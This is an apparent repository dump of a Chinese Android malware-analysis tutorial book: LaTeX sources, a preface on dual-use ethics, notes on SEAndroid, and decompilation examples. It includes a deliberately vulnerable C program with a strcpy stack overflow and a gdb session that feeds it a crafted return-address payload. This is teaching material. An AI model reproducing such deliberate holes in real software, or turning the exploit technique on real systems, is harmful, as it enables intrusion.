├── image ├── ddms.png ├── toast.jpg ├── emulator.png ├── ida-dex.png ├── jd-gui.png ├── compilation.png └── system-architecture.jpg ├── .gitignore ├── code ├── amatutor.bib ├── arm.test.c ├── arm.test.dis2.asm ├── SmsReceiver.java ├── MalwareManifest.xml ├── arm.test.dis1.asm ├── arm.test.dis3.asm ├── NormalManifest.xml ├── manifest.xml ├── example-structures.java ├── example-structures.dex2jar.java ├── example.smali ├── example-structures.ded.java ├── am.txt ├── example-structures.smali └── zergRush.c ├── LICENSE ├── Makefile ├── amatutor-cn.tex ├── chapter-cn ├── security.tex ├── more.tex ├── preface.tex ├── attack.tex ├── general.tex ├── dynamic.tex ├── static.tex ├── dalvik.tex └── arm.tex ├── amatutor-cn.sty ├── README.md ├── smali.sty └── amatutor-cn.bib /image/ddms.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/secmobi/amatutor/HEAD/image/ddms.png -------------------------------------------------------------------------------- /image/toast.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/secmobi/amatutor/HEAD/image/toast.jpg -------------------------------------------------------------------------------- /image/emulator.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/secmobi/amatutor/HEAD/image/emulator.png -------------------------------------------------------------------------------- /image/ida-dex.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/secmobi/amatutor/HEAD/image/ida-dex.png -------------------------------------------------------------------------------- /image/jd-gui.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/secmobi/amatutor/HEAD/image/jd-gui.png -------------------------------------------------------------------------------- /image/compilation.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/secmobi/amatutor/HEAD/image/compilation.png -------------------------------------------------------------------------------- /image/system-architecture.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/secmobi/amatutor/HEAD/image/system-architecture.jpg -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | *.aux 2 | *.idx 3 | *.log 4 | *.out 5 | *.pdf 6 | *.gz 7 | *.toc 8 | *~ 9 | *.bak 10 | *.bbl 11 | *.blg 12 | *.ilg 13 | *.ind 14 | *.tmp 15 | -------------------------------------------------------------------------------- /code/amatutor.bib: -------------------------------------------------------------------------------- 1 | @MISC{amatutor-cn, 2 | author = {Claud Xiao}, 3 | title = {~Android恶意代码分析教程~}, 4 | howpublished = {\url{http://github.com/secmobi/amatutor}}, 5 | year = {2012} 6 | } 7 | -------------------------------------------------------------------------------- /code/arm.test.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | 5 | void donuts() { 6 | puts("Donuts..."); 7 | exit(0); 8 | } 9 | 10 | void vuln(char *arg) { 11 | char buff[10]; 12 | strcpy(buff, arg); 13 | } 14 | 15 | int main(int argc, char **argv) { 16 | vuln(argv[1]); 17 | return 0; 18 | } 19 | -------------------------------------------------------------------------------- /code/arm.test.dis2.asm: -------------------------------------------------------------------------------- 1 | (gdb) b vuln 2 | Breakpoint 1 at 0x8454 3 | (gdb) run 1234 4 | Starting program: /home/user/test 1234 5 | 6 | Breakpoint 1, 0x00008454 in vuln () 7 | (gdb) nexti 9 8 | 0x00008478 in vuln () 9 | (gdb) x/8x $sp 10 | 0xbedb9788: 0x00000000 0xbedb9a09 0x00000000 0x34333231 11 | 0xbedb9798: 0x00000000 0x000084c4 0xbedb97b4 0x000084ac 12 | (gdb) 13 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | 署名-非商业性使用-禁止演绎 2.5 中国大陆 (CC BY-NC-ND 2.5) 2 | ========================================================= 3 | 4 | 您可以自由: 5 | 6 | 复制、发行、展览、表演、放映、广播或通过信息网络传播本作品 7 | 8 | 惟须遵守下列条件: 9 | 10 | 署名 — 您必须按照作者或者许可人指定的方式对作品进行署名。 11 | 12 | 非商业性使用 — 您不得将本作品用于商业目的。 13 | 14 | 禁止演绎 — 您不得修改、转换或者以本作品为基础进行创作。 15 | 16 | 17 | 更完整的法律文本请见: 18 | 19 | http://creativecommons.org/licenses/by-nc-nd/2.5/cn/legalcode 20 | -------------------------------------------------------------------------------- /code/SmsReceiver.java: -------------------------------------------------------------------------------- 1 | package com.example.Malware; 2 | 3 | import android.content.BroadcastReceiver; 4 | import android.content.Context; 5 | import android.content.Intent; 6 | import android.widget.Toast; 7 | 8 | public class SmsReceiver extends BroadcastReceiver { 9 | 10 | @Override 11 | public void onReceive(Context arg0, Intent arg1) { 12 | Toast.makeText(arg0, "Now SmsReceiver Running", Toast.LENGTH_SHORT).show(); 13 | } 14 | } 15 | -------------------------------------------------------------------------------- /code/MalwareManifest.xml: -------------------------------------------------------------------------------- 1 | 2 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | -------------------------------------------------------------------------------- /code/arm.test.dis1.asm: -------------------------------------------------------------------------------- 1 | (gdb) disass vuln 2 | Dump of assembler code for function vuln: 3 | 0x00008454 : push {r11, lr} 4 | 0x00008458 : add r11, sp, #4 5 | 0x0000845c : sub sp, sp, #24 6 | 0x00008460 : str r0, [r11, #-24] 7 | 0x00008464 : ldr r3, [r11, #-24] 8 | 0x00008468 : sub r2, r11, #16 9 | 0x0000846c : mov r0, r2 10 | 0x00008470 : mov r1, r3 11 | 0x00008474 : bl 0x835c 12 | 0x00008478 : sub sp, r11, #4 13 | 0x0000847c : pop {r11, lr} 14 | 0x00008480 : bx lr 15 | End of assembler dump. 16 | -------------------------------------------------------------------------------- /Makefile: -------------------------------------------------------------------------------- 1 | texfile = amatutor-cn 2 | subdir = chapter-cn 3 | 4 | TEX = xelatex 5 | BIB = bibtex 6 | IDX = makeindex 7 | 8 | all: $(texfile).pdf 9 | 10 | $(texfile).pdf: *.tex *.sty *.bib $(subdir)/*.tex 11 | $(TEX) $(texfile) 12 | $(BIB) $(texfile) 13 | $(IDX) $(texfile) 14 | $(TEX) $(texfile) 15 | $(TEX) $(texfile) 16 | 17 | clean: 18 | @find . | egrep "\.(aux|log|out|gz|toc|bak|bbl|blg|ilg|ind)" | xargs rm -f 19 | @rm -f $(texfile).idx 20 | @find . | egrep "\.pdf" | xargs rm -f 21 | @find . | egrep "~" | xargs rm -f 22 | @find $(subdir) | egrep "\.(aux|tmp)" | xargs rm -f 23 | @find $(subdir) | egrep "~" | xargs rm -f 24 | -------------------------------------------------------------------------------- /code/arm.test.dis3.asm: -------------------------------------------------------------------------------- 1 | (gdb) disass donuts 2 | Dump of assembler code for function donuts: 3 | 0x00008438 : push {r11, lr} 4 | 0x0000843c : add r11, sp, #4 5 | 0x00008440 : ldr r0, [pc, #8] ; 0x8450 6 | 0x00008444 : bl 0x8368 7 | 0x00008448 : mov r0, #0 8 | 0x0000844c : bl 0x8374 9 | 0x00008450 : andeq r8, r0, r4, asr #10 10 | End of assembler dump. 11 | (gdb) r `printf "aaaabbbbcccc\xb4\x97\xdb\xbe\x38\x84\x00\x00"` 12 | Starting program: /home/user/test `printf "aaaabbbbcccc\xb4\x97\xdb\xbe\x38\x84\x00\x00"` 13 | Donuts... 14 | 15 | Program exited normally. 16 | (gdb) 17 | -------------------------------------------------------------------------------- /amatutor-cn.tex: -------------------------------------------------------------------------------- 1 | %!TEX encoding = UTF-8 Unicode 2 | \documentclass[UTF8, a4paper, 11pt, oneside]{ctexbook} 3 | \usepackage{amatutor-cn} 4 | \usepackage{smali} 5 | 6 | \begin{document} 7 | \frontmatter 8 | \title{Android恶意代码分析} 9 | \author{Claud Xiao} 10 | % \date{} 11 | \maketitle 12 | 13 | ~ 14 | \vfill 15 | \thispagestyle{empty} 16 | \begin{center} 17 | \it{to qiyang.} 18 | \end{center} 19 | \vfill 20 | \newpage 21 | 22 | \include{chapter-cn/preface} 23 | 24 | \setcounter{tocdepth}{1} 25 | \tableofcontents 26 | 27 | \mainmatter 28 | \include{chapter-cn/general} 29 | \include{chapter-cn/static} 30 | \include{chapter-cn/dynamic} 31 | \include{chapter-cn/attack} 32 | \include{chapter-cn/dalvik} 33 | \include{chapter-cn/arm} 34 | \include{chapter-cn/security} 35 | 36 | \backmatter 37 | 38 | \appendix 39 | \include{chapter-cn/more} 40 | 41 | \bibliography{amatutor-cn} 42 | 43 | \printindex 44 | \end{document} 45 | -------------------------------------------------------------------------------- /code/NormalManifest.xml: -------------------------------------------------------------------------------- 1 | 2 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 | -------------------------------------------------------------------------------- /code/manifest.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | 23 | 24 | . . . 25 | 26 | 27 | 28 | . . . 29 | 30 | 31 | 32 | . . . 33 | 34 | 35 | 36 | 37 | 38 | 39 | 40 | 41 | 42 | -------------------------------------------------------------------------------- /chapter-cn/security.tex: -------------------------------------------------------------------------------- 1 | %!TEX encoding = UTF-8 Unicode 2 | \chapter{Android安全} 3 | 4 | \section{系统层安全机制} 5 | \subsection{沙盒} 6 | 7 | \subsection{文件系统} 8 | 9 | \subsection{内存} 10 | 11 | \section{应用层安全机制} 12 | \subsection{权限模型} 13 | 14 | \subsection{进程间通信} 15 | 16 | \subsection{签名} 17 | 18 | \subsection{数字版权管理} 19 | 20 | \section{提权漏洞} 21 | 22 | \section{数据泄露漏洞} 23 | 24 | \section{更安全的系统} 25 | \subsection{SEAndroid} 26 | NSA在1月16日发布了基于SELinux的SEAndroid\cite{url:seandroid}\index{SEAndroid}。 27 | 28 | 其主要工作和思想如下: 29 | 30 | \begin{itemize} 31 | \item 要把SELinux系统及其设计思想移植到Android有不少困难,比如非标准Linux机制(Ashmem、Binder等模块)、Android框架层的策略、现有DAC权限控制模型、文件系统不支持安全标签等等,但SEAndroid项目最后解决了这些问题 32 | \item 对目前Android系统上发现的几乎所有提权漏洞、Android应用上发现的大量信息泄露漏洞,SEAndroid都能补上,主要是漏洞利用程序的利用步骤会被SEAndroid的安全策略所阻止,也就是无法顺利利用漏洞。 33 | \item 作者认为对Android,MAC模型是有意义的,并且可以和现有安全体系并存。 34 | \end{itemize} 35 | 36 | 从RageAgainstTheCage、zergRush(NSA称之为GingerBreak)这两个漏洞利用的阻止细节上,SEAndroid的安全做得比较理想,对权限的管理已经到了及其严格的地步,利用代码几乎寸步难行。 37 | 38 | 而这个项目目前存在什么问题,NSA公开的资料中只字不提。笔者认为,对性能的损耗可能是第一位的。 39 | 40 | 在去年的一篇论文中有提到,即便是在Android所有敏感API的入口处基于源码做hook,记录API触发行为和参数,编译得到的系统的性能都有显著的降低,而这个降低的性能在真实机器上可能引发连锁效应,导致整个系统无法启动。 41 | 42 | 而SEAndroid从文件系统开始广泛使用标签,对每个需要管理的对象使用标签来实施安全策略,这里还包括对每个敏感行为的审计。笔者倾向于认为这样的改动也会遇到同样的问题。至于NSA有没有解决,是如何解决的,还需要进一步看细节。 43 | 44 | \subsection{TainDroid} 45 | 46 | \subsection{AppFence} 47 | -------------------------------------------------------------------------------- /amatutor-cn.sty: -------------------------------------------------------------------------------- 1 | %!TEX encoding = UTF-8 Unicode 2 | \usepackage[top=1in, bottom=1in, left=1in, right=1in]{geometry} 3 | 4 | % 颜色,图像 5 | \usepackage{color, graphicx} 6 | 7 | \usepackage{booktabs} 8 | 9 | % 参考文献,按照被引先后排序 10 | \bibliographystyle{unsrt} 11 | 12 | % 索引 13 | \usepackage{makeidx} 14 | \makeindex 15 | 16 | % 使用Courier New作为等宽字体 17 | \renewcommand\ttdefault{pcr} 18 | 19 | % 源码高亮环境 20 | \definecolor{gray}{RGB}{230, 230, 230} 21 | \definecolor{darkgreen}{RGB}{47, 79, 47} 22 | \newfontfamily{\lstfamily}[Scale=.85]{Monaco} 23 | \usepackage{listings} 24 | \lstset{ 25 | basicstyle=\lstfamily, 26 | keywordstyle=\color{blue}, 27 | commentstyle=\color{darkgreen}, 28 | stringstyle=\color{red}, 29 | backgroundcolor=\color{gray}, 30 | numbers=left, 31 | numberstyle=\lstfamily\tiny, 32 | stepnumber=1, 33 | tabsize=2, 34 | breaklines=true, 35 | %title=\lstname, 36 | extendedchars=false, % 必须如此,否则和hyperref冲突,出错。 37 | escapechar=~, 38 | } 39 | \renewcommand*{\lstlistingname}{代码} 40 | 41 | % 内部引用超链接 42 | \usepackage[xetex,unicode,colorlinks=true,urlcolor=blue,linkcolor=blue,citecolor=blue]{hyperref} 43 | 44 | % ltxtable = tabularx换行表格 + longtable换页表格 45 | % filecontents 使表格在同一文件内 46 | \usepackage{ltxtable, filecontents} 47 | 48 | % 页眉页脚控制 49 | \usepackage{fancyhdr} 50 | \pagestyle{fancy} 51 | \lhead{试读版} 52 | \rhead{\today } 53 | \cfoot{\thepage} 54 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | #关于 2 | 3 | 这是一份Android恶意代码分析教程,目前还在写作中。 4 | 5 | 源码托管于:[http://github.com/secmobi/amatutor/](http://github.com/secmobi/amatutor/)。 6 | 7 | 原来托管在[http://code.google.com/p/amatutor/](http://code.google.com/p/amatutor/)。现在那里的代码已经不再更新。请到github检出最新的版本。 8 | 9 | 非常欢迎指出内容的错误、不足。有任何建议,或者希望交流,可以写邮件或在[Issues](https://github.com/secmobi/amatutor/issues)页面留言。 10 | 11 | #内容 12 | - 静态分析,包括:AXML解码, 反汇编, 反编译, 数字签名, 综合工具 13 | - 动态分析,包括:运行环境, 设备管理, 网络分析, 行为模拟, 行为跟踪, - 调试, 衍生文件 14 | - 攻击技术,包括:重新打包, 代码混淆, 类的动态加载 15 | - Dalvik虚拟机,包括:DEX文件格式, ODEX文件格式, Dalvik指令集, smali语法, 常见源码结构 16 | - ARM漏洞利用,包括:环境和工具, ARM体系结构, ARM漏洞利用特点, 简单示例, 攻击方法, zergRush分析 17 | - Android安全,包括:系统层安全机制, 应用层安全机制, 提权漏洞, 数据泄露漏洞, 更安全的系统 18 | 19 | #如何获得 20 | 你可以下载源码并自己编译,或者写邮件申请临时编译版本:[secmobi@gmail.com](mailto:secmobi@gmail.com) 21 | 22 | #编译PDF 23 | 24 | ##环境 25 | 26 | 1. Linux或Mac OS X 27 | 2. `make`工具 28 | 3. Texlive 2012:[http://www.tug.org/texlive/](http://www.tug.org/texlive/) 29 | 4. Windows中文字体:[http://bbs.ctex.org/viewthread.php?tid=64366](http://bbs.ctex.org/viewthread.php?tid=64366) 30 | 5. Monaco字体:[http://blog.longwin.com.tw/2007/08/programmer_best_font_monaco_2007/](http://blog.longwin.com.tw/2007/08/programmer_best_font_monaco_2007/) 31 | 32 | ##编译 33 | 34 | 在源码目录下,输入`make` 35 | 36 | #使用许可 37 | 38 | 本作品的简体中文版部分采用**知识共享 署名-非商业性使用-禁止演绎 2.5 中国大陆许可协议 (CC BY-NC-ND 2.5)**进行许可。 39 | 40 | 详情请参考LICENSE文档。 41 | 42 | #联系我 43 | 44 | Author: Claud Xiao 45 | 46 | E-mail: [secmobi@gmail.com](mailto:secmobi@gmail.com) 47 | 48 | Blog: [http://blog.claudxiao.net](http://blog.claudxiao.net) 49 | -------------------------------------------------------------------------------- /code/example-structures.java: -------------------------------------------------------------------------------- 1 | package com.lohan.crackme1; 2 | 3 | import java.io.IOException; 4 | import java.io.InputStream; 5 | import java.net.MalformedURLException; 6 | import java.net.URL; 7 | 8 | public class example { 9 | private static int Counter; 10 | 11 | public example() { Counter = 16; } 12 | 13 | public static void LoopExample() 14 | { 15 | for ( int i = 0; i < Counter; i++ ) 16 | System.out.println("current val for loop: " + i); 17 | } 18 | 19 | public static void SwitchExample() 20 | { 21 | int val = 42; 22 | switch (val) { 23 | case 1: System.out.println("val 1"); break; 24 | case 2: System.out.println("val 2"); break; 25 | case 42: System.out.println("val 42"); break; 26 | case 5: System.out.println("val 5"); break; 27 | default: System.out.println("invalid value");break; 28 | } 29 | } 30 | 31 | public static void TryCatchExample() 32 | { 33 | String urlStr = "google.com"; 34 | try { 35 | // Get the image 36 | URL url = new URL(urlStr); 37 | InputStream is = url.openStream(); 38 | is.close(); 39 | } catch (MalformedURLException e) { 40 | // Print out the exception that occurred 41 | System.out.println("Invalid URL " + urlStr + ": " + e.getMessage()); 42 | } catch (IOException e) { 43 | // Print out the exception that occurred 44 | System.out.println("Unable to execute " + urlStr + ": " + e.getMessage()); 45 | } 46 | } 47 | 48 | public static void ArrayExample() 49 | { 50 | String someArray[] = new String[5]; 51 | 52 | someArray[0] = "set value at index 0"; 53 | someArray[1] = "index 1 has this value"; 54 | 55 | if ( someArray[0].equals(someArray[1]) ) 56 | { 57 | System.out.println("array at index 0 = 1 (wont happen)"); 58 | } 59 | } 60 | } 61 | -------------------------------------------------------------------------------- /code/example-structures.dex2jar.java: -------------------------------------------------------------------------------- 1 | package com.lohan.crackme1; 2 | 3 | import java.io.IOException; 4 | import java.io.InputStream; 5 | import java.io.PrintStream; 6 | import java.net.MalformedURLException; 7 | import java.net.URL; 8 | 9 | public class example 10 | { 11 | private static int Counter; 12 | 13 | public example() 14 | { 15 | Counter = 16; 16 | } 17 | 18 | public static void ArrayExample() 19 | { 20 | String[] arrayOfString = new String[5]; 21 | arrayOfString[0] = "set value at index 0"; 22 | arrayOfString[1] = "index 1 has this value"; 23 | if (arrayOfString[0].equals(arrayOfString[1])) 24 | System.out.println("array at index 0 = 1 (wont happen)"); 25 | } 26 | 27 | public static void LoopExample() 28 | { 29 | for (int i = 0; ; i++) 30 | { 31 | if (i >= Counter) 32 | return; 33 | System.out.println("current val for loop: " + i); 34 | } 35 | } 36 | 37 | public static void SwitchExample() 38 | { 39 | switch (42) 40 | { 41 | default: 42 | System.out.println("invalid value"); 43 | case 1: 44 | case 2: 45 | case 42: 46 | case 5: 47 | } 48 | while (true) 49 | { 50 | return; 51 | System.out.println("val 1"); 52 | continue; 53 | System.out.println("val 2"); 54 | continue; 55 | System.out.println("val 42"); 56 | continue; 57 | System.out.println("val 5"); 58 | } 59 | } 60 | 61 | public static void TryCatchExample() 62 | { 63 | try 64 | { 65 | new URL("google.com").openStream().close(); 66 | return; 67 | } 68 | catch (MalformedURLException localMalformedURLException) 69 | { 70 | while (true) 71 | System.out.println("Invalid URL " + "google.com" + ": " + localMalformedURLException.getMessage()); 72 | } 73 | catch (IOException localIOException) 74 | { 75 | while (true) 76 | System.out.println("Unable to execute " + "google.com" + ": " + localIOException.getMessage()); 77 | } 78 | } 79 | } 80 | -------------------------------------------------------------------------------- /chapter-cn/more.tex: -------------------------------------------------------------------------------- 1 | %!TEX encoding = UTF-8 Unicode 2 | \chapter{进一步学习} 3 | \CTEXsetup[format={\large\bfseries}]{section} 4 | \section*{计算机恶意代码} 5 | Peter Szor的《计算机病毒防范艺术》\cite{art_virus}是反病毒领域的扛鼎之作,值得每一位反病毒工作者仔细阅读。向Szor致敬。 6 | 7 | VX Heavens\cite{url:vx_heavens}正如其名,是病毒作者的天堂,有积累多年的存档资料,是一个知己知彼的好地方。 8 | 9 | \section*{移动安全} 10 | Ken Dunham主编的书{\it Mobile Malware Attacks and Defense}\cite{mobile_malware}是第一本移动恶意代码的书,综合介绍了移动安全威胁、移动安全技术、移动终端恶意代码分析和取证技术等,以及一些安全分析工具,主要针对Windows Mobile, Symbian和J2ME平台。 11 | 12 | Himanshu Dwivedi等人的书{\it Mobile Application Security}\cite{mobile_app_security}介绍了Android、iPhone、Windows Mobile、BlackBerry、Symbian、WebOS等流行智能平台的安全机制,并介绍了移动通信安全的一些问题。 13 | 14 | Noureddine Boudriga的书{\it Security of Mobile Communications}\cite{security_mobile_comm}探讨了移动通信网络的安全问题。 15 | 16 | Enck在北卡州立大学开设了关于移动系统安全的讨论班,非常值得学习\cite{url:enck_seminar}。 17 | 18 | \section*{Android系统知识} 19 | Android开发者主页\cite{url:android_dev}提供了大量的文档,Dev Guide中介绍了系统知识和SDK工具,Reference提供了系统API文档。 20 | 21 | gliethttp在其博客\cite{url:blog_gliethttp}上对\lstinline!adb!工具的源码进行了详细的分析。 22 | 23 | \section*{Android安全} 24 | Jeff Six的新书{\it Application Security for the Android Platform}\cite{android_app_security}从应用软件的层面综合地介绍了Android系统的安全机制。 25 | 26 | Enck等提供了一份不错的Android安全在线教程\cite{url:psu_sectutor}。 27 | 28 | \section*{Android取证技术} 29 | Andrew Hoog的书{\it Android Forensics}\cite{android_forensics}是目前唯一一本关于Android取证的书籍。 30 | 31 | via Forensics公司的网站\cite{url:viaforensics}上提供了关于Android取证的文章、工具和训练材料。 32 | 33 | \section*{Android逆向技术} 34 | Lohan+的博客Android Cracking\cite{url:androidcracking}提供了关于Android逆向分析的教程,以及Android软件版权保护的开源代码。 35 | 36 | Security Compass Labs提供了一份关于Android逆向和漏洞利用的训练程序ExploitMe\cite{url:securitycompass}。 37 | 38 | \section*{Android恶意代码} 39 | Contagio在其博客\cite{url:contagio}上提供了其搜集的Android恶意代码样本,这是目前为止唯一一份公开的Android样本集。 40 | 41 | \section*{安全工具} 42 | Chris Eagle的{\it The IDA Pro Book}\cite{ida_pro}是公认关于IDA Pro最好的书籍。 43 | 44 | \section*{社区和活动} 45 | Google Groups的mobile.malware组\cite{url:group_mobilemalware}是目前移动恶意代码领域最活跃的社区,有很多学术界、产业界的研究人员在此讨论技术话题。 46 | 47 | XDA Developers\cite{url:xda}是Android系统ROM开发最大的社区,可以从中了解到一些Android系统相关的知识。 48 | 49 | Black Hat大会最近几年关于移动安全的报告日益增多,可以从它们的存档页面\cite{url:blackhat}下载历届会议的文档资料。 50 | 51 | \CTEXsetup[format={\Large\bfseries\centering}]{section} 52 | -------------------------------------------------------------------------------- /code/example.smali: -------------------------------------------------------------------------------- 1 | .class public Lcom/packageName/example; 2 | .super Ljava/lang/Object; 3 | .source "example.java" 4 | 5 | .field public final someInt:I 6 | 7 | .field public final someBool:Z 8 | 9 | .method public constructor (ZLjava/lang/String;I)V 10 | .locals 6 11 | 12 | .parameter "someBool" 13 | .parameter "someInt" 14 | .parameter "exampleString" 15 | 16 | .prologue 17 | .line 10 18 | invoke-direct {p0}, Ljava/lang/Object;->()V 19 | 20 | const-string v0, "i will not fear. fear is the mind-killer." 21 | 22 | const/4 v0, 0xF 23 | 24 | new-instance v1, Ljava/lang/StringBuilder; 25 | const-string v2, "the spice must flow" 26 | invoke-direct {v1, v2}, Ljava/lang/StringBuilder;->(Ljava/lang/String;)V 27 | 28 | invoke-virtual {v1, p1}, Ljava/lang/StringBuilder;->append(Z)Ljava/lang/StringBuilder; 29 | move-result-object v1 30 | 31 | const-string v2, "some random string" 32 | invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder; 33 | move-result-object v1 34 | 35 | invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String; 36 | move-result-object v1 37 | 38 | const-string v0, "Tag" 39 | invoke-static {v0, v1}, Landroid/util/Log;->d(Ljava/lang/String;Ljava/lang/String;)I 40 | move-result v0 41 | 42 | invoke-static {}, Ljava/lang/System;->currentTimeMillis()J 43 | move-result-wide v2 44 | const-wide/16 v4, 0x300 45 | div-long/2addr v2, v4 46 | long-to-int v2, v2 47 | 48 | .line 12 49 | 50 | iput-boolean p1, p0, Lcom/packageName/example;->someBool:Z 51 | 52 | .line 14 53 | 54 | iput p3, p0, Lcom/packageName/example;->someInt:I 55 | 56 | iget v0, p0, Lcom/packageName/example;->someInt:I 57 | 58 | invoke-static {}, Lcom/packageName/example;->someMethod()Ljava/lang/String; 59 | 60 | .line 16 61 | return-void 62 | .end method 63 | 64 | .method public static someMethod()Ljava/lang/String; 65 | .locals 3 66 | 67 | new-instance v0, Ljava/lang/Long; 68 | 69 | invoke-static {}, Ljava/lang/System;->currentTimeMillis()J 70 | move-result-wide v1 71 | 72 | invoke-direct {v0, v1, v2}, Ljava/lang/Long;->(J)V 73 | 74 | invoke-static {v0}, Ljava/lang/String;->valueOf(Ljava/lang/Object;)Ljava/lang/String; 75 | move-result-object v0 76 | 77 | return-object v0 78 | .end method 79 | -------------------------------------------------------------------------------- /code/example-structures.ded.java: -------------------------------------------------------------------------------- 1 | package com.lohan.crackme1; 2 | 3 | import java.io.PrintStream; 4 | import java.net.MalformedURLException; 5 | import java.io.IOException; 6 | import java.io.InputStream; 7 | import java.net.URL; 8 | 9 | public class example 10 | { 11 | private static int Counter; 12 | 13 | public example() 14 | { 15 | 16 | 17 | this.(); 18 | Counter = 16; 19 | } 20 | 21 | public static void ArrayExample() 22 | { 23 | 24 | String[] r0; 25 | r0 = new String[5]; 26 | r0[0] = "set value at index 0"; 27 | r0[1] = "index 1 has this value"; 28 | 29 | if (r0[0].equals(r0[1]) != false) 30 | { 31 | System.out.println("array at index 0 = 1 (wont happen)"); 32 | } 33 | } 34 | 35 | public static void LoopExample() 36 | { 37 | 38 | int i0; 39 | i0 = 0; 40 | 41 | while (i0 < Counter) 42 | { 43 | System.out.println((new StringBuilder("current val for loop: ")).append(i0).toString()); 44 | i0 = i0 + 1; 45 | } 46 | } 47 | 48 | public static void SwitchExample() 49 | { 50 | 51 | 52 | label_0: 53 | switch (42) 54 | { 55 | case 1: 56 | System.out.println("val 1"); 57 | break label_0; 58 | 59 | case 2: 60 | System.out.println("val 2"); 61 | break label_0; 62 | 63 | case 5: 64 | System.out.println("val 5"); 65 | break label_0; 66 | 67 | case 42: 68 | System.out.println("val 42"); 69 | break label_0; 70 | 71 | default: 72 | System.out.println("invalid value"); 73 | break label_0; 74 | } 75 | } 76 | 77 | public static void TryCatchExample() 78 | { 79 | 80 | String r0; 81 | r0 = "google.com"; 82 | 83 | try 84 | { 85 | (new URL(r0)).openStream().close(); 86 | } 87 | catch (MalformedURLException $r7) 88 | { 89 | System.out.println((new StringBuilder("Invalid URL ")).append(r0).append(": ").append($r7.getMessage()).toString()); 90 | } 91 | catch (IOException $r14) 92 | { 93 | System.out.println((new StringBuilder("Unable to execute ")).append(r0).append(": ").append($r14.getMessage()).toString()); 94 | } 95 | } 96 | } 97 | -------------------------------------------------------------------------------- /chapter-cn/preface.tex: -------------------------------------------------------------------------------- 1 | %!TEX encoding = UTF-8 Unicode 2 | \chapter{前言} 3 | \CTEXsetup[format={\large\bfseries}]{section} 4 | \section*{目的} 5 | Android已经成为恶意代码的肆虐之地,安全工程师与恶意攻击者的艰苦对抗将在这一平台延续,双方人数上的显著差异也会长期存在。这一切正如在PC上曾经发生过的那样。 6 | 7 | 更为不利的是,恶意代码作者之间并不存在直接的利益竞争关系,而反病毒厂商却在商界拼得你死我活。这导致攻击技术会在攻击者之间广泛交流,而防御技术却始终是各企业的核心技术而被保密。因此,安全工程师不得不孤军作战,以一己之力对抗无数攻击者。 8 | 9 | 此外,根据木桶原则,安全工程师需要全方位地展开防御,而攻击者只需在一个技术点上有所进展就能成功突破防线。双方的这种技术地位始终不会改变。 10 | 11 | 诚然,反病毒领域绝大部分技术都是双刃剑,相关知识的公开和传播会被更多潜在的攻击者参考、学习、模仿。但笔者相信,在上述事实下、在目前的困局下,公开交流所带来的边界收益会比它可能带来的损失要大得多。 12 | 13 | Ross Anderson在其著作《信息安全工程》的前言中也指出: 14 | \begin{quote} 15 | “尽管一些恶意分子会从这样的书中获益,但他们大都已经知道了这些技巧,而好人们获得的收益会多得多。” 16 | \end{quote} 17 | 18 | 为了在天平的正义一侧增加砝码,笔者认为应该将一些技术梳理并公开,推动安全工程师在技术上的交流合作与共同进步。笔者是这一领域的初学者,将学习过程写成笔记,最后逐渐汇聚成为这本小册子,只希望能有抛砖引玉之效。 19 | 20 | 这本小册子中的技术既可以被安全工程师用于反病毒和软件保护,也可能被恶意攻击者用于病毒对抗和软件破解。如何使用,在于人心。我们应该追随自己内心的道德准则,用它们造福于头顶这片星空下的人们。 21 | 22 | swordlea说过一句话:“不需要懂得信息安全的人是幸福的,而我们的职责是保障他们的幸福。”谨以此与各位共勉。 23 | 24 | \section*{致谢} 25 | 通常在事情完成后才总结致谢,但这本小册子会在何时完成现在很难判断,而且这个新兴领域的持续发展可能促使它不断更新下去,因此即便目前还在草稿阶段,也需要先写致谢。 26 | 27 | 从2011年提笔至今,有很多朋友对我在这一领域的学习、工作和写作提供过各种帮助,或者产生影响,他们是:tompanpan, sworldlea, DemonHunter, berry, hip, Anthony Desnos,lohan+, SparkZheng。在此向他们的指导和帮助表示衷心的感谢。 28 | 29 | 不少前辈在前言中说:“任何一本书都不是一个人能完成的。”我深有感触。虽然在这本小册子的封面大胆地写上自己姓名,但如果没有这些朋友,它绝对无法成为现在的模样。 30 | 31 | 我还希望向其中涉及的各种工具、系统、设备的开发者们表示致敬。正是整个社区的共同努力,让安全工程师拥有了各种利器、能够一展所长。 32 | 33 | \section*{环境} 34 | 这本小册子介绍分析工具的使用,主要是在Ubuntu 11.10 (64-bit)下。但大部分工具都是跨平台的,可以在Windows下使用。 35 | 36 | 部分工具使用其他平台,例如IDA Pro、ARM分析工具等,均在上下文中有所提及。 37 | 38 | 但仍然有部分工具只能在Linux下使用,例如依赖于Android源码的\lstinline!agcc!等;还有一些重量级分析工具(例如androguard)对系统版本有更严格的要求。因此建议读者使用Ubuntu 10.04 (32-bit)作为主要的系统。 39 | 40 | honeynet项目组提供了一个名为Android Reverse Engineering的虚拟机镜像\cite{url:are},集成了一些常用的分析工具,是一个不错的选择。 41 | 42 | \section*{反馈} 43 | 这本小册子中肯定存在很多错误和不足之处。如果您有任何建议、看法,希望能不吝指教。我的邮箱是:\href{mailto:iclaudxiao@gmail.com}{iclaudxiao@gmail.com},期待您的来信,并先表示万分的感谢。 44 | 45 | 部分章节的草稿会在博客\url{http://blog.claudxiao.net}上先发布,欢迎订阅和留言。 46 | 47 | \section*{版权} 48 | 